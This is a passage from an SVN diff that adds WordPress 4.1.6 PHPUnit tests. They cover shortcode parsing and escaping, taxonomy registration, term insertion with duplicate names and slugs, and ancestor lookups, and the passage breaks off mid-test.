+		$this->assertEquals($expected, $out);
+	}
+
+	/**
+	 * @ticket 6518
+	 */
+	function test_tag_escaped() {
+		$out = do_shortcode('[[footag]] [[bartag foo="bar"]]');
+		$this->assertEquals('[footag] [bartag foo="bar"]', $out);
+
+		$out = do_shortcode('[[footag /]] [[bartag foo="bar" /]]');
+		$this->assertEquals('[footag /] [bartag foo="bar" /]', $out);
+
+		$out = do_shortcode('[[baztag foo="bar"]the content[/baztag]]');
+		$this->assertEquals('[baztag foo="bar"]the content[/baztag]', $out);
+
+		// double escaped
+		$out = do_shortcode('[[[footag]]] [[[bartag foo="bar"]]]');
+		$this->assertEquals('[[footag]] [[bartag foo="bar"]]', $out);
+	}
+
+	function test_tag_not_escaped() {
+		// these have square brackets on either end but aren't actually escaped
+		$out = do_shortcode('[[footag] [bartag foo="bar"]]');
+		$this->assertEquals('[foo =  foo = bar]', $out);
+
+		$out = do_shortcode('[[footag /] [bartag foo="bar" /]]');
+		$this->assertEquals('[foo =  foo = bar]', $out);
+
+		$out = do_shortcode('[[baztag foo="bar"]the content[/baztag]');
+		$this->assertEquals('[content = the content', $out);
+
+		$out = do_shortcode('[[not-a-tag]]');
+		$this->assertEquals('[[not-a-tag]]', $out);
+
+		$out = do_shortcode('[[[footag] [bartag foo="bar"]]]');
+		$this->assertEquals('[[foo =  foo = bar]]', $out);
+	}
+
+	function test_mixed_tags() {
+		$in = <<<EOF
+So this is a post with [footag foo="some stuff"] and a bunch of tags.
+
+[bartag]
+
+[baztag]
+Here's some content
+on more than one line
+[/baztag]
+
+[bartag foo=1] [baztag] [footag foo="2"] [baztag]
+
+[baztag]
+more content
+[/baztag]
+
+EOF;
+		$expected = <<<EOF
+So this is a post with foo = some stuff and a bunch of tags.
+
+foo = no foo
+
+content =
+Here's some content
+on more than one line
+
+
+foo = 1 content =  foo = 2 content =
+content =
+more content
+
+EOF;
+		$out = do_shortcode($in);
+		$this->assertEquals(strip_ws($expected), strip_ws($out));
+	}
+
+	/**
+	 * @ticket 6562
+	 */
+	function test_utf8_whitespace_1() {
+		// NO-BREAK SPACE: U+00A0
+		do_shortcode("[test-shortcode-tag foo=\"bar\" \xC2\xA0baz=\"123\"]");
+		$this->assertEquals( array('foo' => 'bar', 'baz' => '123'), $this->atts );
+		$this->assertEquals( '', $this->content );
+	}
+
+	/**
+	 * @ticket 6562
+	 */
+	function test_utf8_whitespace_2() {
+		// ZERO WIDTH SPACE: U+200B
+		do_shortcode("[test-shortcode-tag foo=\"bar\" \xE2\x80\x8Babc=\"def\"]");
+		$this->assertEquals( array('foo' => 'bar', 'abc' => 'def'), $this->atts );
+		$this->assertEquals( '', $this->content );
+	}
+
+	/**
+	 * @ticket 14050
+	 */
+	function test_shortcode_unautop() {
+		// a blank line is added at the end, so test with it already there
+		$test_string = "[footag]\n";
+		$this->assertEquals( $test_string, shortcode_unautop( wpautop( $test_string ) ) );
+	}
+
+	/**
+	 * @ticket 10326
+	 */
+	function test_strip_shortcodes() {
+		$this->assertEquals('before', strip_shortcodes('before[gallery]'));
+		$this->assertEquals('after', strip_shortcodes('[gallery]after'));
+		$this->assertEquals('beforeafter', strip_shortcodes('before[gallery]after'));
+	}
+
+
+	// Store passed in shortcode_atts_{$shortcode} args
+	function _filter_atts( $out, $pairs, $atts ) {
+		$this->filter_atts_out = $out;
+		$this->filter_atts_pairs = $pairs;
+		$this->filter_atts_atts = $atts;
+		return $out;
+	}
+
+	// Filter shortcode atts in various ways
+	function _filter_atts2( $out, $pairs, $atts ) {
+		// If foo attribute equals "foo1", change it to be default value
+		if ( isset( $out['foo'] ) && 'foo1' == $out['foo'] )
+			$out['foo'] = $pairs['foo'];
+
+		// If baz attribute is set, remove it
+		if ( isset( $out['baz'] ) )
+			unset( $out['baz'] );
+
+		$this->filter_atts_out = $out;
+		return $out;
+	}
+
+	function test_shortcode_atts_filter_passes_original_arguments() {
+		add_filter( 'shortcode_atts_bartag', array( $this, '_filter_atts' ), 10, 3 );
+
+		do_shortcode('[bartag foo="foo1" /]');
+		$this->assertEquals( array( 'foo' => 'foo1', 'baz' => 'default baz' ), $this->filter_atts_out );
+		$this->assertEquals( array( 'foo' => 'no foo', 'baz' => 'default baz' ), $this->filter_atts_pairs );
+		$this->assertEquals( array( 'foo' => 'foo1' ), $this->filter_atts_atts );
+
+		remove_filter( 'shortcode_atts_bartag', array( $this, '_filter_atts' ), 10, 3 );
+	}
+
+	function test_shortcode_atts_filtering() {
+		add_filter( 'shortcode_atts_bartag', array( $this, '_filter_atts2' ), 10, 3 );
+
+		$out = do_shortcode('[bartag foo="foo1" baz="baz1" /]');
+		$this->assertEquals( array( 'foo' => 'no foo' ), $this->filter_atts_out );
+		$this->assertEquals( 'foo = no foo', $out );
+
+		$out = do_shortcode('[bartag foo="foo2" /]');
+		$this->assertEquals( 'foo = foo2', $out );
+
+		remove_filter( 'shortcode_atts_bartag', array( $this, '_filter_atts2' ), 10, 3 );
+	}
+
+	/**
+	 * Check that shortcode_unautop() will always recognize spaces around shortcodes.
+	 *
+	 * @ticket 22692
+	 */
+	function test_spaces_around_shortcodes() {
+		$nbsp = "\xC2\xA0";
+
+		$input  = array();
+
+		$input[] = "<p>[gallery ids=\"37,15,11\"]</p>";
+		$input[] = "<p> [gallery ids=\"37,15,11\"] </p>";
+		$input[] = "<p> {$nbsp}[gallery ids=\"37,15,11\"] {$nbsp}</p>";
+		$input[] = "<p> &nbsp;[gallery ids=\"37,15,11\"] &nbsp;</p>";
+
+		$output = "[gallery ids=\"37,15,11\"]";
+
+		foreach($input as $in) {
+			$this->assertEquals( $output, shortcode_unautop( $in ) );
+		}
+	}
+
+	/**
+	 * Check for bugginess using normal input with latest patches.
+	 *
+	 * @dataProvider data_escaping
+	 */
+	function test_escaping( $input, $output ) {
+		return $this->assertEquals( $output, do_shortcode( $input ) );
+	}
+
+	function data_escaping() {
+		return array(
+			array(
+				'<!--[if lt IE 7]>',
+				'<!--[if lt IE 7]>',
+			),
+			array(
+				'[gallery title="<div>hello</div>"]',
+				'',
+			),
+			array(
+				'[caption caption="test" width="2"]<div>hello</div>[/caption]',
+				'<div style="width: 12px" class="wp-caption alignnone"><div>hello</div><p class="wp-caption-text">test</p></div>',
+			),
+			array(
+				'<div [gallery]>',
+				'<div >',
+			),
+			array(
+				'<div [[gallery]]>',
+				'<div [gallery]>',
+			),
+			array(
+				'[gallery]<div>Hello</div>[/gallery]',
+				'',
+			),
+		);
+	}
+
+	/**
+	 * Check for bugginess using normal input with latest patches.
+	 *
+	 * @dataProvider data_escaping2
+	 */
+	function test_escaping2( $input, $output ) {
+		return $this->assertEquals( $output, strip_shortcodes( $input ) );
+	}
+
+	function data_escaping2() {
+		return array(
+			array(
+				'<!--[if lt IE 7]>',
+				'<!--[if lt IE 7]>',
+			),
+			array(
+				'[gallery title="<div>hello</div>"]',
+				'',
+			),
+			array(
+				'[caption caption="test" width="2"]<div>hello</div>[/caption]',
+				'',
+			),
+			array(
+				'<div [gallery]>', // Shortcodes will never be stripped inside elements.
+				'<div [gallery]>',
+			),
+			array(
+				'<div [[gallery]]>', // Shortcodes will never be stripped inside elements.
+				'<div [[gallery]]>',
+			),
+			array(
+				'[gallery]<div>Hello</div>[/gallery]',
+				'',
+			),
+		);
+	}
+
+	/**
+	 * @ticket 26343
+	 */
+	function test_has_shortcode() {
+		$content = 'This is a blob with [gallery] in it';
+		$this->assertTrue( has_shortcode( $content, 'gallery' ) );
+
+		add_shortcode( 'foo', '__return_false' );
+		$content_nested = 'This is a blob with [foo] [gallery] [/foo] in it';
+		$this->assertTrue( has_shortcode( $content_nested, 'gallery' ) );
+		remove_shortcode( 'foo' );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/taxonomy.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/taxonomy.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/taxonomy.php	(revision 33402)
@@ -0,0 +1,364 @@
+<?php
+
+/**
+ * @group taxonomy
+ */
+class Tests_Taxonomy extends WP_UnitTestCase {
+	function test_get_post_taxonomies() {
+		$this->assertEquals(array('category', 'post_tag', 'post_format'), get_object_taxonomies('post'));
+	}
+
+	function test_get_link_taxonomies() {
+		$this->assertEquals(array('link_category'), get_object_taxonomies('link'));
+	}
+
+	/**
+	 * @ticket 5417
+	 */
+	function test_get_unknown_taxonomies() {
+		// taxonomies for an unknown object type
+		$this->assertEquals( array(), get_object_taxonomies(rand_str()) );
+		$this->assertEquals( array(), get_object_taxonomies('') );
+		$this->assertEquals( array(), get_object_taxonomies(0) );
+		$this->assertEquals( array(), get_object_taxonomies(NULL) );
+	}
+
+	function test_get_post_taxonomy() {
+		foreach ( get_object_taxonomies('post') as $taxonomy ) {
+			$tax = get_taxonomy($taxonomy);
+			// should return an object with the correct taxonomy object type
+			$this->assertTrue( is_object( $tax ) );
+			$this->assertTrue( is_array( $tax->object_type ) );
+			$this->assertEquals( array( 'post' ), $tax->object_type );
+		}
+	}
+
+	function test_get_the_taxonomies() {
+		$post_id = $this->factory->post->create();
+
+		$taxes = get_the_taxonomies( $post_id );
+		$this->assertNotEmpty( $taxes );
+		$this->assertEquals( array( 'category' ), array_keys( $taxes ) );
+
+		$id = $this->factory->tag->create();
+		wp_set_post_tags( $post_id, array( $id ) );
+
+		$taxes = get_the_taxonomies( $post_id );
+		$this->assertNotEmpty( $taxes );
+		$this->assertCount( 2, $taxes );
+		$this->assertEquals( array( 'category', 'post_tag' ), array_keys( $taxes ) );
+	}
+
+	/**
+	 * @group 27238
+	 */
+	public function test_get_the_taxonomies_term_template() {
+		$post_id = $this->factory->post->create();
+
+		$taxes = get_the_taxonomies( $post_id, array( 'term_template' => '%2$s' ) );
+		$this->assertEquals( 'Categories: Uncategorized.', $taxes['category'] );
+
+		$taxes = get_the_taxonomies( $post_id, array( 'term_template' => '<span class="foo"><a href="%1$s">%2$s</a></span>' ) );
+		$link = get_category_link( 1 );
+		$this->assertEquals( 'Categories: <span class="foo"><a href="' . $link . '">Uncategorized</a></span>.', $taxes['category'] );
+	}
+
+	function test_the_taxonomies() {
+		$post_id = $this->factory->post->create();
+
+		ob_start();
+		the_taxonomies( array( 'post' => $post_id ) );
+		$output = ob_get_clean();
+
+		$link = get_category_link( 1 );
+		$expected = 'Categories: <a href="' . $link . '">Uncategorized</a>.';
+		$this->assertEquals( $expected, $output );
+	}
+
+	/**
+	 * @group 27238
+	 */
+	function test_the_taxonomies_term_template() {
+		$post_id = $this->factory->post->create();
+
+		$output = get_echo( 'the_taxonomies', array( array( 'post' => $post_id, 'term_template' => '%2$s' ) ) );
+		$this->assertEquals( 'Categories: Uncategorized.', $output );
+
+		$output = get_echo( 'the_taxonomies', array( array( 'post' => $post_id, 'term_template' => '<span class="foo"><a href="%1$s">%2$s</a></span>' ) ) );
+		$link = get_category_link( 1 );
+		$this->assertEquals( 'Categories: <span class="foo"><a href="' . $link . '">Uncategorized</a></span>.', $output );
+	}
+
+	function test_get_link_taxonomy() {
+		foreach ( get_object_taxonomies('link') as $taxonomy ) {
+			$tax = get_taxonomy($taxonomy);
+			// should return an object with the correct taxonomy object type
+			$this->assertTrue( is_object($tax) );
+			$this->assertTrue( is_array( $tax->object_type ) );
+			$this->assertEquals( array( 'link' ), $tax->object_type );
+		}
+	}
+
+	function test_taxonomy_exists_known() {
+		$this->assertTrue( taxonomy_exists('category') );
+		$this->assertTrue( taxonomy_exists('post_tag') );
+		$this->assertTrue( taxonomy_exists('link_category') );
+	}
+
+	function test_taxonomy_exists_unknown() {
+		$this->assertFalse( taxonomy_exists(rand_str()) );
+		$this->assertFalse( taxonomy_exists('') );
+		$this->assertFalse( taxonomy_exists(0) );
+		$this->assertFalse( taxonomy_exists(NULL) );
+	}
+
+	function test_is_taxonomy_hierarchical() {
+		$this->assertTrue( is_taxonomy_hierarchical('category') );
+		$this->assertFalse( is_taxonomy_hierarchical('post_tag') );
+		$this->assertFalse( is_taxonomy_hierarchical('link_category') );
+	}
+
+	function test_is_taxonomy_hierarchical_unknown() {
+		$this->assertFalse( is_taxonomy_hierarchical(rand_str()) );
+		$this->assertFalse( is_taxonomy_hierarchical('') );
+		$this->assertFalse( is_taxonomy_hierarchical(0) );
+		$this->assertFalse( is_taxonomy_hierarchical(NULL) );
+	}
+
+	function test_register_taxonomy() {
+
+		// make up a new taxonomy name, and ensure it's unused
+		$tax = rand_str();
+		$this->assertFalse( taxonomy_exists($tax) );
+
+		register_taxonomy( $tax, 'post' );
+		$this->assertTrue( taxonomy_exists($tax) );
+		$this->assertFalse( is_taxonomy_hierarchical($tax) );
+
+		// clean up
+		unset($GLOBALS['wp_taxonomies'][$tax]);
+	}
+
+	function test_register_hierarchical_taxonomy() {
+
+		// make up a new taxonomy name, and ensure it's unused
+		$tax = rand_str();
+		$this->assertFalse( taxonomy_exists($tax) );
+
+		register_taxonomy( $tax, 'post', array('hierarchical'=>true) );
+		$this->assertTrue( taxonomy_exists($tax) );
+		$this->assertTrue( is_taxonomy_hierarchical($tax) );
+
+		// clean up
+		unset($GLOBALS['wp_taxonomies'][$tax]);
+	}
+
+	/**
+	 * @ticket 21593
+	 *
+	 * @expectedIncorrectUsage register_taxonomy
+	 */
+	function test_register_long_taxonomy() {
+		$this->assertInstanceOf( 'WP_Error', register_taxonomy( 'abcdefghijklmnopqrstuvwxyz0123456789', 'post', array() ) );
+	}
+
+	/**
+	 * @ticket 11058
+	 */
+	function test_registering_taxonomies_to_object_types() {
+		// Create a taxonomy to test with
+		$tax = 'test_tax';
+		$this->assertFalse( taxonomy_exists($tax) );
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+
+		// Create a post type to test with
+		$post_type = 'test_cpt';
+		$this->assertFalse( get_post_type( $post_type ) );
+		$this->assertObjectHasAttribute( 'name', register_post_type( $post_type ) );
+
+		// Core taxonomy, core post type
+		$this->assertTrue( unregister_taxonomy_for_object_type( 'category', 'post' ) );
+		$this->assertFalse( unregister_taxonomy_for_object_type( 'category', 'post' ) );
+		$this->assertTrue( register_taxonomy_for_object_type( 'category', 'post' ) );
+
+		// Core taxonomy, non-core post type
+		$this->assertTrue( register_taxonomy_for_object_type( 'category', $post_type ) );
+		$this->assertTrue( unregister_taxonomy_for_object_type( 'category', $post_type ) );
+		$this->assertFalse( unregister_taxonomy_for_object_type( 'category', $post_type ) );
+		$this->assertTrue( register_taxonomy_for_object_type( 'category', $post_type ) );
+
+		// Core taxonomies, non-post object types
+		$this->assertFalse( register_taxonomy_for_object_type( 'category', 'user' ) );
+		$this->assertFalse( unregister_taxonomy_for_object_type( 'category', 'user' ) );
+
+		// Non-core taxonomy, core post type
+		$this->assertTrue( unregister_taxonomy_for_object_type( $tax, 'post' ) );
+		$this->assertFalse( unregister_taxonomy_for_object_type( $tax, 'post' ) );
+		$this->assertTrue( register_taxonomy_for_object_type( $tax, 'post' ) );
+
+		// Non-core taxonomy, non-core post type
+		$this->assertTrue( register_taxonomy_for_object_type( $tax, $post_type ) );
+		$this->assertTrue( unregister_taxonomy_for_object_type( $tax, $post_type ) );
+		$this->assertFalse( unregister_taxonomy_for_object_type( $tax, $post_type ) );
+		$this->assertTrue( register_taxonomy_for_object_type( $tax, $post_type ) );
+
+		// Non-core taxonomies, non-post object types
+		$this->assertFalse( register_taxonomy_for_object_type( $tax, 'user' ) );
+		$this->assertFalse( unregister_taxonomy_for_object_type( $tax, 'user' ) );
+
+		unset($GLOBALS['wp_taxonomies'][$tax]);
+		_unregister_post_type( $post_type );
+
+	}
+	/**
+	 * @ticket 25706
+	 */
+	function test_in_category() {
+		$post = $this->factory->post->create_and_get();
+
+		// in_category() returns false when first parameter is empty()
+		$this->assertFalse( in_category( '', $post ) );
+		$this->assertFalse( in_category( false, $post ) );
+		$this->assertFalse( in_category( null, $post ) );
+
+		// Test expected behavior of in_category()
+		$term = wp_insert_term( 'Test', 'category' );
+		wp_set_object_terms( $post->ID, $term['term_id'], 'category' );
+		$this->assertTrue( in_category( $term['term_id'], $post ) );
+	}
+
+	function test_insert_category_create() {
+		$cat = array(
+			'cat_ID' => 0,
+			'taxonomy' => 'category',
+			'cat_name' => 'test1'
+		);
+		$this->assertTrue( is_numeric( wp_insert_category( $cat, true ) ) );
+	}
+
+	function test_insert_category_update() {
+		$cat = array(
+			'cat_ID' => 1,
+			'taxonomy' => 'category',
+			'cat_name' => 'Updated Name'
+		);
+		$this->assertEquals( 1, wp_insert_category( $cat ) );
+	}
+
+	function test_insert_category_force_error_handle() {
+		$cat = array(
+			'cat_ID' => 0,
+			'taxonomy' => 'force_error',
+			'cat_name' => 'Error'
+		);
+		$this->assertTrue( is_a( wp_insert_category( $cat, true ), 'WP_Error' ) );
+	}
+
+	function test_insert_category_force_error_no_handle() {
+		$cat = array(
+			'cat_ID' => 0,
+			'taxonomy' => 'force_error',
+			'cat_name' => 'Error'
+		);
+		$this->assertEquals( 0, wp_insert_category( $cat, false ) );
+	}
+
+	public function test_get_ancestors_taxonomy_non_hierarchical() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$this->assertSame( array(), get_ancestors( $t, 'wptests_tax' ) );
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	public function test_get_ancestors_taxonomy() {
+		register_taxonomy( 'wptests_tax', 'post', array(
+			'hierarchical' => true,
+		) );
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'parent' => $t1,
+		) );
+		$t3 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'parent' => $t2,
+		) );
+		$t4 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'parent' => $t1,
+		) );
+
+		$this->assertEqualSets( array( $t2, $t1 ), get_ancestors( $t3, 'wptests_tax' ) );
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	public function test_get_ancestors_post_type_non_hierarchical() {
+		register_post_type( 'wptests_pt' );
+		$p = $this->factory->post->create( array(
+			'taxonomy' => 'wptests_pt',
+		) );
+
+		$this->assertEqualSets( array(), get_ancestors( $p, 'wptests_tax' ) );
+	}
+
+	public function test_get_ancestors_post_type() {
+		register_post_type( 'wptests_pt', array(
+			'hierarchical' => true,
+		) );
+		$p1 = $this->factory->post->create( array(
+			'post_type' => 'wptests_pt',
+		) );
+		$p2 = $this->factory->post->create( array(
+			'post_type' => 'wptests_pt',
+			'post_parent' => $p1,
+		) );
+		$p3 = $this->factory->post->create( array(
+			'post_type' => 'wptests_pt',
+			'post_parent' => $p2,
+		) );
+		$p4 = $this->factory->post->create( array(
+			'post_type' => 'wptests_pt',
+			'post_parent' => $p1,
+		) );
+
+		$this->assertEqualSets( array( $p2, $p1 ), get_ancestors( $p3, 'wptests_pt' ) );
+		_unregister_post_type( 'wptests_pt' );
+	}
+
+	/**
+	 * @ticket 15029
+	 */
+	public function test_get_ancestors_taxonomy_post_type_conflict_resource_type_taxonomy() {
+		register_post_type( 'wptests_conflict', array(
+			'hierarchical' => true,
+		) );
+		$p1 = $this->factory->post->create( array(
+			'post_type' => 'wptests_conflict',
+		) );
+		$p2 = $this->factory->post->create( array(
+			'post_type' => 'wptests_conflict',
+			'post_parent' => $p1,
+		) );
+
+		register_taxonomy( 'wptests_conflict', 'post', array(
+			'hierarchical' => true,
+		) );
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_conflict',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_conflict',
+			'parent' => $t1,
+		) );
+
+		$this->assertEqualSets( array( $p1 ), get_ancestors( $p2, 'wptests_conflict', 'post_type' ) );
+		$this->assertEqualSets( array( $t1 ), get_ancestors( $t2, 'wptests_conflict', 'taxonomy' ) );
+		$this->assertEqualSets( array( $t1 ), get_ancestors( $t2, 'wptests_conflict' ) );
+		_unregister_post_type( 'wptests_pt' );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/term.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/term.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/term.php	(revision 33402)
@@ -0,0 +1,1753 @@
+<?php
+
+/**
+ * @group taxonomy
+ */
+class Tests_Term extends WP_UnitTestCase {
+	var $taxonomy = 'category';
+
+	function setUp() {
+		parent::setUp();
+
+		_clean_term_filters();
+		// insert one term into every post taxonomy
+		// otherwise term_ids and term_taxonomy_ids might be identical, which could mask bugs
+		$term = rand_str();
+		foreach(get_object_taxonomies('post') as $tax)
+			wp_insert_term( $term, $tax );
+	}
+
+	function deleted_term_cb( $term, $tt_id, $taxonomy, $deleted_term ) {
+		$this->assertInternalType( 'object', $deleted_term );
+		$this->assertInternalType( 'int', $term );
+		// Pesky string $this->assertInternalType( 'int', $tt_id );
+		$this->assertEquals( $term, $deleted_term->term_id );
+		$this->assertEquals( $taxonomy, $deleted_term->taxonomy );
+		$this->assertEquals( $tt_id, $deleted_term->term_taxonomy_id );
+	}
+
+	function test_wp_insert_delete_term() {
+		// a new unused term
+		$term = rand_str();
+		$this->assertNull( term_exists($term) );
+
+		$initial_count = wp_count_terms( $this->taxonomy );
+
+		$t = wp_insert_term( $term, $this->taxonomy );
+		$this->assertInternalType( 'array', $t );
+		$this->assertFalse( is_wp_error($t) );
+		$this->assertTrue( $t['term_id'] > 0 );
+		$this->assertTrue( $t['term_taxonomy_id'] > 0 );
+		$this->assertEquals( $initial_count + 1, wp_count_terms($this->taxonomy) );
+
+		// make sure the term exists
+		$this->assertTrue( term_exists($term) > 0 );
+		$this->assertTrue( term_exists($t['term_id']) > 0 );
+
+		// now delete it
+		add_filter( 'delete_term', array( $this, 'deleted_term_cb' ), 10, 4 );
+		$this->assertTrue( wp_delete_term($t['term_id'], $this->taxonomy) );
+		remove_filter( 'delete_term', array( $this, 'deleted_term_cb' ), 10, 4 );
+		$this->assertNull( term_exists($term) );
+		$this->assertNull( term_exists($t['term_id']) );
+		$this->assertEquals( $initial_count, wp_count_terms($this->taxonomy) );
+	}
+
+	public function test_wp_insert_term_taxonomy_does_not_exist() {
+		$found = wp_insert_term( 'foo', 'bar' );
+
+		$this->assertTrue( is_wp_error( $found ) );
+		$this->assertSame( 'invalid_taxonomy', $found->get_error_code() );
+	}
+
+	public function test_wp_insert_term_pre_insert_term_filter_returns_wp_error() {
+		add_filter( 'pre_insert_term', array( $this, '_pre_insert_term_callback' ) );
+		$found = wp_insert_term( 'foo', 'post_tag' );
+		remove_filter( 'pre_insert_term', array( $this, '_pre_insert_term_callback' ) );
+
+		$this->assertTrue( is_wp_error( $found ) );
+		$this->assertSame( 'custom_error', $found->get_error_code() );
+	}
+
+	public function test_wp_insert_term_term_0() {
+		$found = wp_insert_term( 0, 'post_tag' );
+
+		$this->assertTrue( is_wp_error( $found ) );
+		$this->assertSame( 'invalid_term_id', $found->get_error_code() );
+	}
+
+	public function test_wp_insert_term_term_trims_to_empty_string() {
+		$found = wp_insert_term( '  ', 'post_tag' );
+
+		$this->assertTrue( is_wp_error( $found ) );
+		$this->assertSame( 'empty_term_name', $found->get_error_code() );
+	}
+
+	public function test_wp_insert_term_parent_does_not_exist() {
+		$found = wp_insert_term( 'foo', 'post_tag', array(
+			'parent' => 999999,
+		) );
+
+		$this->assertTrue( is_wp_error( $found ) );
+		$this->assertSame( 'missing_parent', $found->get_error_code() );
+	}
+
+	public function test_wp_insert_term_unslash_name() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$found = wp_insert_term( 'Let\\\'s all say \\"Hooray\\" for WordPress taxonomy', 'wptests_tax' );
+
+		$term = get_term( $found['term_id'], 'wptests_tax' );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertSame( 'Let\'s all say "Hooray" for WordPress taxonomy', $term->name );
+	}
+
+	public function test_wp_insert_term_unslash_description() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$found = wp_insert_term( 'Quality', 'wptests_tax', array(
+			'description' => 'Let\\\'s all say \\"Hooray\\" for WordPress taxonomy',
+		) );
+
+		$term = get_term( $found['term_id'], 'wptests_tax' );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertSame( 'Let\'s all say "Hooray" for WordPress taxonomy', $term->description );
+	}
+
+	public function test_wp_insert_term_parent_string() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$found = wp_insert_term( 'Quality', 'wptests_tax', array(
+			'parent' => 'foo1',
+		) );
+
+		$term = get_term( $found['term_id'], 'wptests_tax' );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		// 'foo1' is cast to 0 in sanitize_term().
+		$this->assertSame( 0, $term->parent );
+	}
+
+	public function test_wp_insert_term_slug_empty_string() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$found = wp_insert_term( 'Quality', 'wptests_tax', array(
+			'slug' => '',
+		) );
+
+		$term = get_term( $found['term_id'], 'wptests_tax' );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertSame( 'quality', $term->slug );
+
+	}
+
+	public function test_wp_insert_term_slug_whitespace_string() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$found = wp_insert_term( 'Quality', 'wptests_tax', array(
+			'slug' => '  ',
+		) );
+
+		$term = get_term( $found['term_id'], 'wptests_tax' );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertSame( 'quality', $term->slug );
+	}
+
+	public function test_wp_insert_term_slug_0() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$found = wp_insert_term( 'Quality', 'wptests_tax', array(
+			'slug' => 0,
+		) );
+
+		$term = get_term( $found['term_id'], 'wptests_tax' );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertSame( 'quality', $term->slug );
+	}
+
+	/**
+	 * @ticket 17689
+	 */
+	public function test_wp_insert_term_duplicate_name() {
+		$term = $this->factory->tag->create_and_get( array( 'name' => 'Bozo' ) );
+		$this->assertFalse( is_wp_error( $term ) );
+		$this->assertTrue( empty( $term->errors ) );
+
+		// Test existing term name with unique slug
+		$term1 = $this->factory->tag->create( array( 'name' => 'Bozo', 'slug' => 'bozo1' ) );
+		$this->assertFalse( is_wp_error( $term1 ) );
+		$this->assertTrue( empty($term1->errors ) );
+
+		// Test an existing term name
+		$term2 = $this->factory->tag->create( array( 'name' => 'Bozo' ) );
+		$this->assertTrue( is_wp_error( $term2 ) );
+		$this->assertNotEmpty( $term2->errors );
+
+		// Test named terms ending in special characters
+		$term3 = $this->factory->tag->create( array( 'name' => 'T$' ) );
+		$term4 = $this->factory->tag->create( array( 'name' => 'T$$' ) );
+		$term5 = $this->factory->tag->create( array( 'name' => 'T$$$' ) );
+		$term6 = $this->factory->tag->create( array( 'name' => 'T$$$$' ) );
+		$term7 = $this->factory->tag->create( array( 'name' => 'T$$$$' ) );
+		$this->assertTrue( is_wp_error( $term7 ) );
+		$this->assertNotEmpty( $term7->errors );
+		$this->assertEquals( $term6, $term7->error_data['term_exists'] );
+
+		$terms = array_map( 'get_tag', array( $term3, $term4, $term5, $term6 ) );
+		$this->assertCount( 4, array_unique( wp_list_pluck( $terms, 'slug' ) ) );
+
+		// Test named terms with only special characters
+		$term8 = $this->factory->tag->create( array( 'name' => '$' ) );
+		$term9 = $this->factory->tag->create( array( 'name' => '$$' ) );
+		$term10 = $this->factory->tag->create( array( 'name' => '$$$' ) );
+		$term11 = $this->factory->tag->create( array( 'name' => '$$$$' ) );
+		$term12 = $this->factory->tag->create( array( 'name' => '$$$$' ) );
+		$this->assertTrue( is_wp_error( $term12 ) );
+		$this->assertNotEmpty( $term12->errors );
+		$this->assertEquals( $term11, $term12->error_data['term_exists'] );
+
+		$terms = array_map( 'get_tag', array( $term8, $term9, $term10, $term11 ) );
+		$this->assertCount( 4, array_unique( wp_list_pluck( $terms, 'slug' ) ) );
+
+		$term13 = $this->factory->tag->create( array( 'name' => 'A' ) );
+		$this->assertFalse( is_wp_error( $term13 ) );
+		$term14 = $this->factory->tag->create( array( 'name' => 'A' ) );
+		$this->assertTrue( is_wp_error( $term14 ) );
+		$term15 = $this->factory->tag->create( array( 'name' => 'A+', 'slug' => 'a' ) );
+		$this->assertFalse( is_wp_error( $term15 ) );
+		$term16 = $this->factory->tag->create( array( 'name' => 'A+' ) );
+		$this->assertTrue( is_wp_error( $term16 ) );
+		$term17 = $this->factory->tag->create( array( 'name' => 'A++' ) );
+		$this->assertFalse( is_wp_error( $term17 ) );
+		$term18 = $this->factory->tag->create( array( 'name' => 'A-', 'slug' => 'a' ) );
+		$this->assertFalse( is_wp_error( $term18 ) );
+		$term19 = $this->factory->tag->create( array( 'name' => 'A-' ) );
+		$this->assertTrue( is_wp_error( $term19 ) );
+		$term20 = $this->factory->tag->create( array( 'name' => 'A--' ) );
+		$this->assertFalse( is_wp_error( $term20 ) );
+	}
+
+	/**
+	 * @ticket 5809
+	 */
+	public function test_wp_insert_term_duplicate_slug_same_taxonomy() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t = $this->factory->term->create( array(
+			'name' => 'Foo',
+			'slug' => 'foo',
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$term = get_term( $t, 'wptests_tax' );
+
+		$created = wp_insert_term( 'Foo 2', 'wptests_tax', array(
+			'slug' => 'foo',
+		) );
+
+		$created_term = get_term( $created['term_id'], 'wptests_tax' );
+		$this->assertSame( 'foo-2', $created_term->slug );
+
+		_unregister_taxonomy( 'wptests_tax', 'post' );
+	}
+
+	/**
+	 * @ticket 5809
+	 */
+	public function test_wp_insert_term_duplicate_slug_different_taxonomy() {
+		register_taxonomy( 'wptests_tax', 'post' );
